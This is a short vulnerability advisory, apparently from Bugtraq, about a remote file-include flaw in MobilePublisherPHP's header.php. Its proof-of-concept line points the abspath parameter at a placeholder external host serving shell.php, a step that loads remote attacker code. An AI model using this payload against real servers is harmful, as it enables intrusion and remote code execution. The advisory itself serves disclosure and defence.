MobilePublisherPHP Header.PHP Remote File Include Vulnerability

Bugtraq ID:	20078
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 18 2006 12:00AM
Updated:	Sep 19 2006 06:36PM
Credit:	Timq is credited with the discovery of this vulnerability.
Vulnerable:	MobilePublisherPHP MobilePublisherPHP 1.5 RC3
Not Vulnerable:

MobilePublisherPHP Header.PHP Remote File Include Vulnerability

MobilePublisherPHP is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

This may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.5 RC2 is vulnerable; other versions may also be affected.

MobilePublisherPHP Header.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof of concept is available:

http://www.example.com/[dir]/header.php?abspath=http://www.example2.com/shell.php?

MobilePublisherPHP Header.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

MobilePublisherPHP Header.PHP Remote File Include Vulnerability

References:

• Vendor Homepage (webscript.ru)